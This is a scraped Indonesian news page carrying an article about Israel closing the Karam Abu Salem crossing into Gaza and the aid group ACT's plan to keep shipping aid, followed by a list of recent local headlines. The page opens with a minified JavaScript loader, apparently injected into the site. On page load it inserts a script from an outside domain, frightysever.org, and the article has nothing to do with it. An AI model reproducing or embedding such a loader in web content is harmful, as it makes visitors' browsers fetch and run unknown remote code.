(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Penyeberangan Gaza Ditutup, Penyaluran Bantuan Tersendat


GAZA, Blokade Israel atas Jalur Gaza semakin berimbas pada ketersediaan pangan di Palestina. Selasa (5/3), Israel menutup jalur penyeberangan komersial Gaza, yakni Karam Abu Salem. Dengan kata lain, akses mobilisasi bantuan kemanusiaan maupun bahan pangan ditutup, kecuali bahan bakar. Hal ini disampaikan oleh sejumlah media Palestina.

Penutupan Karam Abu Salem juga dibarengi dengan serangan Israel di wilayah Palestina dalam beberapa hari terakhir. Dilansir dari The Middle East Monitor, penutupan Karam Abu Salem dan serangan Israel merupakan respons terhadap aksi penerbangan balon pembakar oleh sipil Palestina ke arah pemukiman Israel pada Selasa (4/3), walaupun tidak menimbulkan kerusakan dan korban jiwa.

Terkait penutupan Karam Abu Salem, Aksi Cepat Tanggap (ACT) terus berupaya menyalurkan bantuan untuk masyarakat Palestina, khususnya di Gaza. Hal ini disampaikan langsung oleh Vice President ACT Ibnu Khajar.

“Upaya penutupan akses bantuan untuk masuk Gaza tak akan menggetarkan dan tak akan membuat kita surut untuk membantu mereka. Kita selalu berikhtiar agar bantuan ini sampai kepada mereka. Insya Allah, ribuan ton bantuan logistik dari Indonesia menggunakan kapal kemanusiaan tetap sesuai jadwal diberangkatkan pada akhir April mendatang. Inilah bagian dari jihad kita membantu mereka yang tengah berjuang untuk meraih kemerdekaannya,” kata Ibnu.

Dihuni lebih dari 1,8 juta penduduk, Jalur Gaza memiliki enam penyeberangan perbatasan dengan Israel dan satu dengan Mesir. Sejak 2007, Israel telah menutup empat jalur penyeberangan Gaza. Israel hanya menyisakan penyeberangan Karam Abu Salem dan Erez yang terbuka untuk lalu lintas terbatas.

Selama belasan tahun blokade ini, Karam Abu Salem menjadi satu-satunya jalur penyeberangan komersial yang dapat digunakan oleh warga Gaza. Selama itu pula, Karam Abu Salem kerap ditutup seiring menegangnya perjuangan sipil Palestina di perbatasan saat Great March of Return, yang dianggap Israel membahayakan penduduk Israel. (act)

Reporter : Act
Editor : Kk

Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

4 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

5 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

7 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

11 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

20 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

20 jam ago

This website uses cookies.